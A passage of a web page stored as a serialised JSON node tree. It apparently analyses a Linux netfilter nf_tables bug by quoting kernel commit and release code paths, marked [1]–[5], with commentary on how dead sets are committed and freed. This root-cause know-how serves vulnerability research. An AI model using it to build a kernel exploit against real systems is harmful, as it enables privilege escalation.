nf_tables_commit_release(net);\n\n return 0;\n}\n",[54433],{"type":23,"tag":154,"props":54434,"children":54435},{"__ignoreMap":7},[54436,54498,54505,54512,54520,54533,54568,54602,54644,54666,54678,54691,54698,54746,54787,54827,54840,54847,54854,54861,54868,54893,54900,54913,54920,54936],{"type":23,"tag":504,"props":54437,"children":54438},{"class":5016,"line":5017},[54439,54443,54447,54452,54456,54460,54464,54468,54472,54476,54480,54485,54489,54494],{"type":23,"tag":504,"props":54440,"children":54441},{"style":5030},[54442],{"type":29,"value":53107},{"type":23,"tag":504,"props":54444,"children":54445},{"style":5030},[54446],{"type":29,"value":53235},{"type":23,"tag":504,"props":54448,"children":54449},{"style":5139},[54450],{"type":29,"value":54451}," nf_tables_commit",{"type":23,"tag":504,"props":54453,"children":54454},{"style":5058},[54455],{"type":29,"value":603},{"type":23,"tag":504,"props":54457,"children":54458},{"style":5030},[54459],{"type":29,"value":11448},{"type":23,"tag":504,"props":54461,"children":54462},{"style":5058},[54463],{"type":29,"value":54063},{"type":23,"tag":504,"props":54465,"children":54466},{"style":5047},[54467],{"type":29,"value":6613},{"type":23,"tag":504,"props":54469,"children":54470},{"style":5041},[54471],{"type":29,"value":54072},{"type":23,"tag":504,"props":54473,"children":54474},{"style":5058},[54475],{"type":29,"value":4367},{"type":23,"tag":504,"props":54477,"children":54478},{"style":5030},[54479],{"type":29,"value":11448},{"type":23,"tag":504,"props":54481,"children":54482},{"style":5058},[54483],{"type":29,"value":54484}," sk_buff ",{"type":23,"tag":504,"props":54486,"children":54487},{"style":5047},[54488],{"type":29,"value":6613},{"type":23,"tag":504,"props":54490,"children":54491},{"style":5041},[54492],{"type":29,"value":54493},"skb",{"type":23,"tag":504,"props":54495,"children":54496},{"style":5058},[54497],{"type":29,"value":5200},{"type":23,"tag":504,"props":54499,"children":54500},{"class":5016,"line":4868},[54501],{"type":23,"tag":504,"props":54502,"children":54503},{"style":5058},[54504],{"type":29,"value":12926},{"type":23,"tag":504,"props":54506,"children":54507},{"class":5016,"line":4876},[54508],{"type":23,"tag":504,"props":54509,"children":54510},{"style":5058},[54511],{"type":29,"value":12364},{"type":23,"tag":504,"props":54513,"children":54514},{"class":5016,"line":5099},[54515],{"type":23,"tag":504,"props":54516,"children":54517},{"style":5058},[54518],{"type":29,"value":54519},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":504,"props":54521,"children":54522},{"class":5016,"line":5203},[54523,54528],{"type":23,"tag":504,"props":54524,"children":54525},{"style":5058},[54526],{"type":29,"value":54527},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":504,"props":54529,"children":54530},{"style":5021},[54531],{"type":29,"value":54532}," // [1]\n",{"type":23,"tag":504,"props":54534,"children":54535},{"class":5016,"line":5308},[54536,54541,54546,54551,54555,54559,54563],{"type":23,"tag":504,"props":54537,"children":54538},{"style":5139},[54539],{"type":29,"value":54540},"   nft_trans_set",{"type":23,"tag":504,"props":54542,"children":54543},{"style":5058},[54544],{"type":29,"value":54545},"(trans)->",{"type":23,"tag":504,"props":54547,"children":54548},{"style":5041},[54549],{"type":29,"value":54550},"dead",{"type":23,"tag":504,"props":54552,"children":54553},{"style":5047},[54554],{"type":29,"value":5050},{"type":23,"tag":504,"props":54556,"children":54557},{"style":5083},[54558],{"type":29,"value":6565},{"type":23,"tag":504,"props":54560,"children":54561},{"style":5058},[54562],{"type":29,"value":51137},{"type":23,"tag":504,"props":54564,"children":54565},{"style":5021},[54566],{"type":29,"value":54567}," // [2]\n",{"type":23,"tag":504,"props":54569,"children":54570},{"class":5016,"line":5336},[54571,54576,54580,54584,54589,54593,54598],{"type":23,"tag":504,"props":54572,"children":54573},{"style":5139},[54574],{"type":29,"value":54575},"   list_del_rcu",{"type":23,"tag":504,"props":54577,"children":54578},{"style":5058},[54579],{"type":29,"value":603},{"type":23,"tag":504,"props":54581,"children":54582},{"style":5047},[54583],{"type":29,"value":5151},{"type":23,"tag":504,"props":54585,"children":54586},{"style":5139},[54587],{"type":29,"value":54588},"nft_trans_set",{"type":23,"tag":504,"props":54590,"children":54591},{"style":5058},[54592],{"type":29,"value":54545},{"type":23,"tag":504,"props":54594,"children":54595},{"style":5041},[54596],{"type":29,"value":54597},"list",{"type":23,"tag":504,"props":54599,"children":54600},{"style":5058},[54601],{"type":29,"value":5888},{"type":23,"tag":504,"props":54603,"children":54604},{"class":5016,"line":5349},[54605,54610,54614,54618,54623,54627,54631,54635,54639],{"type":23,"tag":504,"props":54606,"children":54607},{"style":5139},[54608],{"type":29,"value":54609},"   nf_tables_set_notify",{"type":23,"tag":504,"props":54611,"children":54612},{"style":5058},[54613],{"type":29,"value":603},{"type":23,"tag":504,"props":54615,"children":54616},{"style":5047},[54617],{"type":29,"value":5151},{"type":23,"tag":504,"props":54619,"children":54620},{"style":5041},[54621],{"type":29,"value":54622},"trans",{"type":23,"tag":504,"props":54624,"children":54625},{"style":5058},[54626],{"type":29,"value":15803},{"type":23,"tag":504,"props":54628,"children":54629},{"style":5041},[54630],{"type":29,"value":22333},{"type":23,"tag":504,"props":54632,"children":54633},{"style":5058},[54634],{"type":29,"value":4367},{"type":23,"tag":504,"props":54636,"children":54637},{"style":5139},[54638],{"type":29,"value":54588},{"type":23,"tag":504,"props":54640,"children":54641},{"style":5058},[54642],{"type":29,"value":54643},"(trans),\n",{"type":23,"tag":504,"props":54645,"children":54646},{"class":5016,"line":5367},[54647,54652,54656,54661],{"type":23,"tag":504,"props":54648,"children":54649},{"style":5041},[54650],{"type":29,"value":54651},"          trans",{"type":23,"tag":504,"props":54653,"children":54654},{"style":5058},[54655],{"type":29,"value":15803},{"type":23,"tag":504,"props":54657,"children":54658},{"style":5041},[54659],{"type":29,"value":54660},"msg_type",{"type":23,"tag":504,"props":54662,"children":54663},{"style":5058},[54664],{"type":29,"value":54665},", GFP_KERNEL);\n",{"type":23,"tag":504,"props":54667,"children":54668},{"class":5016,"line":5388},[54669,54674],{"type":23,"tag":504,"props":54670,"children":54671},{"style":5067},[54672],{"type":29,"value":54673},"   break",{"type":23,"tag":504,"props":54675,"children":54676},{"style":5058},[54677],{"type":29,"value":5061},{"type":23,"tag":504,"props":54679,"children":54680},{"class":5016,"line":5397},[54681,54686],{"type":23,"tag":504,"props":54682,"children":54683},{"style":5058},[54684],{"type":29,"value":54685},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":504,"props":54687,"children":54688},{"style":5021},[54689],{"type":29,"value":54690}," // [3]\n",{"type":23,"tag":504,"props":54692,"children":54693},{"class":5016,"line":5649},[54694],{"type":23,"tag":504,"props":54695,"children":54696},{"style":5058},[54697],{"type":29,"value":12364},{"type":23,"tag":504,"props":54699,"children":54700},{"class":5016,"line":5666},[54701,54706,54710,54715,54719,54723,54727,54732,54736,54741],{"type":23,"tag":504,"props":54702,"children":54703},{"style":5067},[54704],{"type":29,"value":54705},"   if",{"type":23,"tag":504,"props":54707,"children":54708},{"style":5058},[54709],{"type":29,"value":5110},{"type":23,"tag":504,"props":54711,"children":54712},{"style":5041},[54713],{"type":29,"value":54714},"te",{"type":23,"tag":504,"props":54716,"children":54717},{"style":5058},[54718],{"type":29,"value":15803},{"type":23,"tag":504,"props":54720,"children":54721},{"style":5041},[54722],{"type":29,"value":53082},{"type":23,"tag":504,"props":54724,"children":54725},{"style":5058},[54726],{"type":29,"value":15803},{"type":23,"tag":504,"props":54728,"children":54729},{"style":5041},[54730],{"type":29,"value":54731},"ops",{"type":23,"tag":504,"props":54733,"children":54734},{"style":5058},[54735],{"type":29,"value":15803},{"type":23,"tag":504,"props":54737,"children":54738},{"style":5041},[54739],{"type":29,"value":54740},"commit",{"type":23,"tag":504,"props":54742,"children":54743},{"style":5047},[54744],{"type":29,"value":54745}," &&\n",{"type":23,"tag":504,"props":54747,"children":54748},{"class":5016,"line":5683},[54749,54754,54758,54762,54766,54770,54774,54778,54783],{"type":23,"tag":504,"props":54750,"children":54751},{"style":5139},[54752],{"type":29,"value":54753},"       list_empty",{"type":23,"tag":504,"props":54755,"children":54756},{"style":5058},[54757],{"type":29,"value":603},{"type":23,"tag":504,"props":54759,"children":54760},{"style":5047},[54761],{"type":29,"value":5151},{"type":23,"tag":504,"props":54763,"children":54764},{"style":5041},[54765],{"type":29,"value":54714},{"type":23,"tag":504,"props":54767,"children":54768},{"style":5058},[54769],{"type":29,"value":15803},{"type":23,"tag":504,"props":54771,"children":54772},{"style":5041},[54773],{"type":29,"value":53082},{"type":23,"tag":504,"props":54775,"children":54776},{"style":5058},[54777],{"type":29,"value":15803},{"type":23,"tag":504,"props":54779,"children":54780},{"style":5041},[54781],{"type":29,"value":54782},"pending_update",{"type":23,"tag":504,"props":54784,"children":54785},{"style":5058},[54786],{"type":29,"value":37250},{"type":23,"tag":504,"props":54788,"children":54789},{"class":5016,"line":5696},[54790,54795,54799,54803,54807,54811,54815,54819,54823],{"type":23,"tag":504,"props":54791,"children":54792},{"style":5139},[54793],{"type":29,"value":54794},"    list_add_tail",{"type":23,"tag":504,"props":54796,"children":54797},{"style":5058},[54798],{"type":29,"value":603},{"type":23,"tag":504,"props":54800,"children":54801},{"style":5047},[54802],{"type":29,"value":5151},{"type":23,"tag":504,"props":54804,"children":54805},{"style":5041},[54806],{"type":29,"value":54714},{"type":23,"tag":504,"props":54808,"children":54809},{"style":5058},[54810],{"type":29,"value":15803},{"type":23,"tag":504,"props":54812,"children":54813},{"style":5041},[54814],{"type":29,"value":53082},{"type":23,"tag":504,"props":54816,"children":54817},{"style":5058},[54818],{"type":29,"value":15803},{"type":23,"tag":504,"props":54820,"children":54821},{"style":5041},[54822],{"type":29,"value":54782},{"type":23,"tag":504,"props":54824,"children":54825},{"style":5058},[54826],{"type":29,"value":5557},{"type":23,"tag":504,"props":54828,"children":54829},{"class":5016,"line":5705},[54830,54835],{"type":23,"tag":504,"props":54831,"children":54832},{"style":5047},[54833],{"type":29,"value":54834},"           &",{"type":23,"tag":504,"props":54836,"children":54837},{"style":5058},[54838],{"type":29,"value":54839},"set_update_list);\n",{"type":23,"tag":504,"props":54841,"children":54842},{"class":5016,"line":5728},[54843],{"type":23,"tag":504,"props":54844,"children":54845},{"style":5058},[54846],{"type":29,"value":36804},{"type":23,"tag":504,"props":54848,"children":54849},{"class":5016,"line":5737},[54850],{"type":23,"tag":504,"props":54851,"children":54852},{"style":5058},[54853],{"type":29,"value":12364},{"type":23,"tag":504,"props":54855,"children":54856},{"class":5016,"line":5746},[54857],{"type":23,"tag":504,"props":54858,"children":54859},{"style":5058},[54860],{"type":29,"value":11642},{"type":23,"tag":504,"props":54862,"children":54863},{"class":5016,"line":5813},[54864],{"type":23,"tag":504,"props":54865,"children":54866},{"emptyLinePlaceholder":15},[54867],{"type":29,"value":5734},{"type":23,"tag":504,"props":54869,"children":54870},{"class":5016,"line":5821},[54871,54876,54880,54884,54889],{"type":23,"tag":504,"props":54872,"children":54873},{"style":5139},[54874],{"type":29,"value":54875}," nft_set_commit_update",{"type":23,"tag":504,"props":54877,"children":54878},{"style":5058},[54879],{"type":29,"value":603},{"type":23,"tag":504,"props":54881,"children":54882},{"style":5047},[54883],{"type":29,"value":5151},{"type":23,"tag":504,"props":54885,"children":54886},{"style":5041},[54887],{"type":29,"value":54888},"set_update_list",{"type":23,"tag":504,"props":54890,"children":54891},{"style":5058},[54892],{"type":29,"value":5888},{"type":23,"tag":504,"props":54894,"children":54895},{"class":5016,"line":5851},[54896],{"type":23,"tag":504,"props":54897,"children":54898},{"style":5058},[54899],{"type":29,"value":12364},{"type":23,"tag":504,"props":54901,"children":54902},{"class":5016,"line":5859},[54903,54908],{"type":23,"tag":504,"props":54904,"children":54905},{"style":5139},[54906],{"type":29,"value":54907}," nf_tables_commit_release",{"type":23,"tag":504,"props":54909,"children":54910},{"style":5058},[54911],{"type":29,"value":54912},"(net);\n",{"type":23,"tag":504,"props":54914,"children":54915},{"class":5016,"line":5891},[54916],{"type":23,"tag":504,"props":54917,"children":54918},{"emptyLinePlaceholder":15},[54919],{"type":29,"value":5734},{"type":23,"tag":504,"props":54921,"children":54922},{"class":5016,"line":5899},[54923,54928,54932],{"type":23,"tag":504,"props":54924,"children":54925},{"style":5067},[54926],{"type":29,"value":54927}," return",{"type":23,"tag":504,"props":54929,"children":54930},{"style":5083},[54931],{"type":29,"value":5086},{"type":23,"tag":504,"props":54933,"children":54934},{"style":5058},[54935],{"type":29,"value":5061},{"type":23,"tag":504,"props":54937,"children":54938},{"class":5016,"line":5959},[54939],{"type":23,"tag":504,"props":54940,"children":54941},{"style":5058},[54942],{"type":29,"value":5965},{"type":23,"tag":32,"props":54944,"children":54945},{},[54946,54947,54953,54955,54960],{"type":29,"value":18661},{"type":23,"tag":154,"props":54948,"children":54950},{"className":54949},[],[54951],{"type":29,"value":54952},"nft_set_commit_update()",{"type":29,"value":54954}," function in the code above will call the ",{"type":23,"tag":154,"props":54956,"children":54958},{"className":54957},[],[54959],{"type":29,"value":54406},{"type":29,"value":54961}," method for any objects that were marked as pending an update.",{"type":23,"tag":4743,"props":54963,"children":54965},{"className":18562,"code":54964,"language":3110,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[54966],{"type":23,"tag":154,"props":54967,"children":54968},{"__ignoreMap":7},[54969,55009,55016,55045,55052,55065,55097,55104,55165,55176,55183,55217,55224],{"type":23,"tag":504,"props":54970,"children":54971},{"class":5016,"line":5017},[54972,54976,54980,54984,54988,54992,54997,55001,55005],{"type":23,"tag":504,"props":54973,"children":54974},{"style":5030},[54975],{"type":29,"value":53107},{"type":23,"tag":504,"props":54977,"children":54978},{"style":5030},[54979],{"type":29,"value":53112},{"type":23,"tag":504,"props":54981,"children":54982},{"style":5139},[54983],{"type":29,"value":54875},{"type":23,"tag":504,"props":54985,"children":54986},{"style":5058},[54987],{"type":29,"value":603},{"type":23,"tag":504,"props":54989,"children":54990},{"style":5030},[54991],{"type":29,"value":11448},{"type":23,"tag":504,"props":54993,"children":54994},{"style":5058},[54995],{"type":29,"value":54996}," list_head ",{"type":23,"tag":504,"props":54998,"children":54999},{"style":5047},[55000],{"type":29,"value":6613},{"type":23,"tag":504,"props":55002,"children":55003},{"style":5041},[55004],{"type":29,"value":54888},{"type":23,"tag":504,"props":55006,"children":55007},{"style":5058},[55008],{"type":29,"value":5200},{"type":23,"tag":504,"props":55010,"children":55011},{"class":5016,"line":4868},[55012],{"type":23,"tag":504,"props":55013,"children":55014},{"style":5058},[55015],{"type":29,"value":12926},{"type":23,"tag":504,"props":55017,"children":55018},{"class":5016,"line":4876},[55019,55023,55027,55031,55036,55040],{"type":23,"tag":504,"props":55020,"children":55021},{"style":5030},[55022],{"type":29,"value":23203},{"type":23,"tag":504,"props":55024,"children":55025},{"style":5058},[55026],{"type":29,"value":53162},{"type":23,"tag":504,"props":55028,"children":55029},{"style":5047},[55030],{"type":29,"value":6613},{"type":23,"tag":504,"props":55032,"children":55033},{"style":5058},[55034],{"type":29,"value":55035},"set, ",{"type":23,"tag":504,"props":55037,"children":55038},{"style":5047},[55039],{"type":29,"value":6613},{"type":23,"tag":504,"props":55041,"children":55042},{"style":5058},[55043],{"type":29,"value":55044},"next;\n",{"type":23,"tag":504,"props":55046,"children":55047},{"class":5016,"line":5099},[55048],{"type":23,"tag":504,"props":55049,"children":55050},{"emptyLinePlaceholder":15},[55051],{"type":29,"value":5734},{"type":23,"tag":504,"props":55053,"children":55054},{"class":5016,"line":5203},[55055,55060],{"type":23,"tag":504,"props":55056,"children":55057},{"style":5139},[55058],{"type":29,"value":55059}," list_for_each_entry_safe",{"type":23,"tag":504,"props":55061,"children":55062},{"style":5058},[55063],{"type":29,"value":55064},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":504,"props":55066,"children":55067},{"class":5016,"line":5308},[55068,55073,55077,55081,55085,55089,55093],{"type":23,"tag":504,"props":55069,"children":55070},{"style":5139},[55071],{"type":29,"value":55072},"  list_del_init",{"type":23,"tag":504,"props":55074,"children":55075},{"style":5058},[55076],{"type":29,"value":603},{"type":23,"tag":504,"props":55078,"children":55079},{"style":5047},[55080],{"type":29,"value":5151},{"type":23,"tag":504,"props":55082,"children":55083},{"style":5041},[55084],{"type":29,"value":53082},{"type":23,"tag":504,"props":55086,"children":55087},{"style":5058},[55088],{"type":29,"value":15803},{"type":23,"tag":504,"props":55090,"children":55091},{"style":5041},[55092],{"type":29,"value":54782},{"type":23,"tag":504,"props":55094,"children":55095},{"style":5058},[55096],{"type":29,"value":5888},{"type":23,"tag":504,"props":55098,"children":55099},{"class":5016,"line":5336},[55100],{"type":23,"tag":504,"props":55101,"children":55102},{"emptyLinePlaceholder":15},[55103],{"type":29,"value":5734},{"type":23,"tag":504,"props":55105,"children":55106},{"class":5016,"line":5349},[55107,55111,55115,55119,55123,55127,55131,55135,55139,55143,55148,55152,55156,55160],{"type":23,"tag":504,"props":55108,"children":55109},{"style":5067},[55110],{"type":29,"value":33449},{"type":23,"tag":504,"props":55112,"children":55113},{"style":5058},[55114],{"type":29,"value":5110},{"type":23,"tag":504,"props":55116,"children":55117},{"style":5047},[55118],{"type":29,"value":22674},{"type":23,"tag":504,"props":55120,"children":55121},{"style":5041},[55122],{"type":29,"value":53082},{"type":23,"tag":504,"props":55124,"children":55125},{"style":5058},[55126],{"type":29,"value":15803},{"type":23,"tag":504,"props":55128,"children":55129},{"style":5041},[55130],{"type":29,"value":54731},{"type":23,"tag":504,"props":55132,"children":55133},{"style":5058},[55134],{"type":29,"value":15803},{"type":23,"tag":504,"props":55136,"children":55137},{"style":5041},[55138],{"type":29,"value":54740},{"type":23,"tag":504,"props":55140,"children":55141},{"style":5047},[55142],{"type":29,"value":25749},{"type":23,"tag":504,"props":55144,"children":55145},{"style":5041},[55146],{"type":29,"value":55147}," set",{"type":23,"tag":504,"props":55149,"children":55150},{"style":5058},[55151],{"type":29,"value":15803},{"type":23,"tag":504,"props":55153,"children":55154},{"style":5041},[55155],{"type":29,"value":54550},{"type":23,"tag":504,"props":55157,"children":55158},{"style":5058},[55159],{"type":29,"value":933},{"type":23,"tag":504,"props":55161,"children":55162},{"style":5021},[55163],{"type":29,"value":55164}," // [4]\n",{"type":23,"tag":504,"props":55166,"children":55167},{"class":5016,"line":5367},[55168,55172],{"type":23,"tag":504,"props":55169,"children":55170},{"style":5067},[55171],{"type":29,"value":53552},{"type":23,"tag":504,"props":55173,"children":55174},{"style":5058},[55175],{"type":29,"value":5061},{"type":23,"tag":504,"props":55177,"children":55178},{"class":5016,"line":5388},[55179],{"type":23,"tag":504,"props":55180,"children":55181},{"emptyLinePlaceholder":15},[55182],{"type":29,"value":5734},{"type":23,"tag":504,"props":55184,"children":55185},{"class":5016,"line":5397},[55186,55191,55195,55199,55203,55207,55212],{"type":23,"tag":504,"props":55187,"children":55188},{"style":5041},[55189],{"type":29,"value":55190},"  set",{"type":23,"tag":504,"props":55192,"children":55193},{"style":5058},[55194],{"type":29,"value":15803},{"type":23,"tag":504,"props":55196,"children":55197},{"style":5041},[55198],{"type":29,"value":54731},{"type":23,"tag":504,"props":55200,"children":55201},{"style":5058},[55202],{"type":29,"value":15803},{"type":23,"tag":504,"props":55204,"children":55205},{"style":5139},[55206],{"type":29,"value":54740},{"type":23,"tag":504,"props":55208,"children":55209},{"style":5058},[55210],{"type":29,"value":55211},"(set);",{"type":23,"tag":504,"props":55213,"children":55214},{"style":5021},[55215],{"type":29,"value":55216}," // [5]\n",{"type":23,"tag":504,"props":55218,"children":55219},{"class":5016,"line":5649},[55220],{"type":23,"tag":504,"props":55221,"children":55222},{"style":5058},[55223],{"type":29,"value":11642},{"type":23,"tag":504,"props":55225,"children":55226},{"class":5016,"line":5666},[55227],{"type":23,"tag":504,"props":55228,"children":55229},{"style":5058},[55230],{"type":29,"value":5965},{"type":23,"tag":32,"props":55232,"children":55233},{},[55234,55236,55242,55244,55249,55250,55255],{"type":29,"value":55235},"Later on, the ",{"type":23,"tag":154,"props":55237,"children":55239},{"className":55238},[],[55240],{"type":29,"value":55241},"nf_tables_commit_release()",{"type":29,"value":55243}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":154,"props":55245,"children":55247},{"className":55246},[],[55248],{"type":29,"value":53082},{"type":29,"value":54400},{"type":23,"tag":154,"props":55251,"children":55253},{"className":55252},[],[55254],{"type":29,"value":54414},{"type":29,"value":55256}," method.",{"type":23,"tag":4743,"props":55258,"children":55260},{"className":18562,"code":55259,"language":3110,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[55261],{"type":23,"tag":154,"props":55262,"children":55263},{"__ignoreMap":7},[55264,55303,55310,55317,55338,55345,55352,55359,55400,55407,55414,55435,55448,55460,55467,55474,55481,55522,55529,55557,55564,55577,55589,55630,55637,55644,55651,55709,55716,55723,55752,55759],{"type":23,"tag":504,"props":55265,"children":55266},{"class":5016,"line":5017},[55267,55271,55275,55279,55283,55287,55291,55295,55299],{"type":23,"tag":504,"props":55268,"children":55269},{"style":5030},[55270],{"type":29,"value":53107},{"type":23,"tag":504,"props":55272,"children":55273},{"style":5030},[55274],{"type":29,"value":53112},{"type":23,"tag":504,"props":55276,"children":55277},{"style":5139},[55278],{"type":29,"value":54907},{"type":23,"tag":504,"props":55280,"children":55281},{"style":5058},[55282],{"type":29,"value":603},{"type":23,"tag":504,"props":55284,"children":55285},{"style":5030},[55286],{"type":29,"value":11448},{"type":23,"tag":504,"props":55288,"children":55289},{"style":5058},[55290],{"type":29,"value":54063},{"type":23,"tag":504,"props":55292,"children":55293},{"style":5047},[55294],{"type":29,"value":6613},{"type":23,"tag":504,"props":55296,"children":55297},{"style":5041},[55298],{"type":29,"value":54072},{"type":23,"tag":504,"props":55300,"children":55301},{"style":5058},[55302],{"type":29,"value":5200},{"type":23,"tag":504,"props":55304,"children":55305},{"class":5016,"line":4868},[55306],{"type":23,"tag":504,"props":55307,"children":55308},{"style":5058},[55309],{"type":29,"value":12926},{"type":23,"tag":504,"props":55311,"children":55312},{"class":5016,"line":4876},[55313],{"type":23,"tag":504,"props":55314,"children":55315},{"style":5058},[55316],{"type":29,"value":12364},{"type":23,"tag":504,"props":55318,"children":55319},{"class":5016,"line":5099},[55320,55325,55329,55333],{"type":23,"tag":504,"props":55321,"children":55322},{"style":5139},[55323],{"type":29,"value":55324}," schedule_work",{"type":23,"tag":504,"props":55326,"children":55327},{"style":5058},[55328],{"type":29,"value":603},{"type":23,"tag":504,"props":55330,"children":55331},{"style":5047},[55332],{"type":29,"value":5151},{"type":23,"tag":504,"props":55334,"children":55335},{"style":5058},[55336],{"type":29,"value":55337},"trans_destroy_work);\n",{"type":23,"tag":504,"props":55339,"children":55340},{"class":5016,"line":5203},[55341],{"type":23,"tag":504,"props":55342,"children":55343},{"style":5058},[55344],{"type":29,"value":12364},{"type":23,"tag":504,"props":55346,"children":55347},{"class":5016,"line":5308},[55348],{"type":23,"tag":504,"props":55349,"children":55350},{"style":5058},[55351],{"type":29,"value":5965},{"type":23,"tag":504,"props":55353,"children":55354},{"class":5016,"line":5336},[55355],{"type":23,"tag":504,"props":55356,"children":55357},{"style":5058},[55358],{"type":29,"value":12364},{"type":23,"tag":504,"props":55360,"children":55361},{"class":5016,"line":5349},[55362,55366,55370,55375,55379,55383,55388,55392,55396],{"type":23,"tag":504,"props":55363,"children":55364},{"style":5030},[55365],{"type":29,"value":53107},{"type":23,"tag":504,"props":55367,"children":55368},{"style":5030},[55369],{"type":29,"value":53112},{"type":23,"tag":504,"props":55371,"children":55372},{"style":5139},[55373],{"type":29,"value":55374}," nf_tables_trans_destroy_work",{"type":23,"tag":504,"props":55376,"children":55377},{"style":5058},[55378],{"type":29,"value":603},{"type":23,"tag":504,"props":55380,"children":55381},{"style":5030},[55382],{"type":29,"value":11448},{"type":23,"tag":504,"props":55384,"children":55385},{"style":5058},[55386],{"type":29,"value":55387}," work_struct ",{"type":23,"tag":504,"props":55389,"children":55390},{"style":5047},[55391],{"type":29,"value":6613},{"type":23,"tag":504,"props":55393,"children":55394},{"style":5041},[55395],{"type":29,"value":51635},{"type":23,"tag":504,"props":55397,"children":55398},{"style":5058},[55399],{"type":29,"value":5200},{"type":23,"tag":504,"props":55401,"children":55402},{"class":5016,"line":5367},[55403],{"type":23,"tag":504,"props":55404,"children":55405},{"style":5058},[55406],{"type":29,"value":12926},{"type":23,"tag":504,"props":55408,"children":55409},{"class":5016,"line":5388},[55410],{"type":23,"tag":504,"props":55411,"children":55412},{"style":5058},[55413],{"type":29,"value":12364},{"type":23,"tag":504,"props":55415,"children":55416},{"class":5016,"line":5397},[55417,55421,55426,55430],{"type":23,"tag":504,"props":55418,"children":55419},{"style":5139},[55420],{"type":29,"value":55059},{"type":23,"tag":504,"props":55422,"children":55423},{"style":5058},[55424],{"type":29,"value":55425},"(trans, next, ",{"type":23,"tag":504,"props":55427,"children":55428},{"style":5047},[55429],{"type":29,"value":5151},{"type":23,"tag":504,"props":55431,"children":55432},{"style":5058},[55433],{"type":29,"value":55434},"head, list) {\n",{"type":23,"tag":504,"props":55436,"children":55437},{"class":5016,"line":5649},[55438,55443],{"type":23,"tag":504,"props":55439,"children":55440},{"style":5139},[55441],{"type":29,"value":55442},"  nft_trans_list_del",{"type":23,"tag":504,"props":55444,"children":55445},{"style":5058},[55446],{"type":29,"value":55447},"(trans);\n",{"type":23,"tag":504,"props":55449,"children":55450},{"class":5016,"line":5666},[55451,55456],{"type":23,"tag":504,"props":55452,"children":55453},{"style":5139},[55454],{"type":29,"value":55455},"  nft_commit_release",{"type":23,"tag":504,"props":55457,"children":55458},{"style":5058},[55459],{"type":29,"value":55447},{"type":23,"tag":504,"props":55461,"children":55462},{"class":5016,"line":5683},[55463],{"type":23,"tag":504,"props":55464,"children":55465},{"style":5058},[55466],{"type":29,"value":11642},{"type":23,"tag":504,"props":55468,"children":55469},{"class":5016,"line":5696},[55470],{"type":23,"tag":504,"props":55471,"children":55472},{"style":5058},[55473],{"type":29,"value":5965},{"type":23,"tag":504,"props":55475,"children":55476},{"class":5016,"line":5705},[55477],{"type":23,"tag":504,"props":55478,"children":55479},{"style":5058},[55480],{"type":29,"value":12364},{"type":23,"tag":504,"props":55482,"children":55483},{"class":5016,"line":5728},[55484,55488,55492,55497,55501,55505,55510,55514,55518],{"type":23,"tag":504,"props":55485,"children":55486},{"style":5030},[55487],{"type":29,"value":53107},{"type":23,"tag":504,"props":55489,"children":55490},{"style":5030},[55491],{"type":29,"value":53112},{"type":23,"tag":504,"props":55493,"children":55494},{"style":5139},[55495],{"type":29,"value":55496}," nft_commit_release",{"type":23,"tag":504,"props":55498,"children":55499},{"style":5058},[55500],{"type":29,"value":603},{"type":23,"tag":504,"props":55502,"children":55503},{"style":5030},[55504],{"type":29,"value":11448},{"type":23,"tag":504,"props":55506,"children":55507},{"style":5058},[55508],{"type":29,"value":55509}," nft_trans ",{"type":23,"tag":504,"props":55511,"children":55512},{"style":5047},[55513],{"type":29,"value":6613},{"type":23,"tag":504,"props":55515,"children":55516},{"style":5041},[55517],{"type":29,"value":54622},{"type":23,"tag":504,"props":55519,"children":55520},{"style":5058},[55521],{"type":29,"value":5200},{"type":23,"tag":504,"props":55523,"children":55524},{"class":5016,"line":5737},[55525],{"type":23,"tag":504,"props":55526,"children":55527},{"style":5058},[55528],{"type":29,"value":12926},{"type":23,"tag":504,"props":55530,"children":55531},{"class":5016,"line":5746},[55532,55537,55541,55545,55549,55553],{"type":23,"tag":504,"props":55533,"children":55534},{"style":5067},[55535],{"type":29,"value":55536}," switch",{"type":23,"tag":504,"props":55538,"children":55539},{"style":5058},[55540],{"type":29,"value":5110},{"type":23,"tag":504,"props":55542,"children":55543},{"style":5041},[55544],{"type":29,"value":54622},{"type":23,"tag":504,"props":55546,"children":55547},{"style":5058},[55548],{"type":29,"value":15803},{"type":23,"tag":504,"props":55550,"children":55551},{"style":5041},[55552],{"type":29,"value":54660},{"type":23,"tag":504,"props":55554,"children":55555},{"style":5058},[55556],{"type":29,"value":16850},{"type":23,"tag":504,"props":55558,"children":55559},{"class":5016,"line":5813},[55560],{"type":23,"tag":504,"props":55561,"children":55562},{"style":5058},[55563],{"type":29,"value":12364},{"type":23,"tag":504,"props":55565,"children":55566},{"class":5016,"line":5821},[55567,55572],{"type":23,"tag":504,"props":55568,"children":55569},{"style":5067},[55570],{"type":29,"value":55571}," case",{"type":23,"tag":504,"props":55573,"children":55574},{"style":5058},[55575],{"type":29,"value":55576}," NFT_MSG_DELSET:\n",{"type":23,"tag":504,"props":55578,"children":55579},{"class":5016,"line":5851},[55580,55584],{"type":23,"tag":504,"props":55581,"children":55582},{"style":5067},[55583],{"type":29,"value":55571},{"type":23,"tag":504,"props":55585,"children":55586},{"style":5058},[55587],{"type":29,"value":55588}," 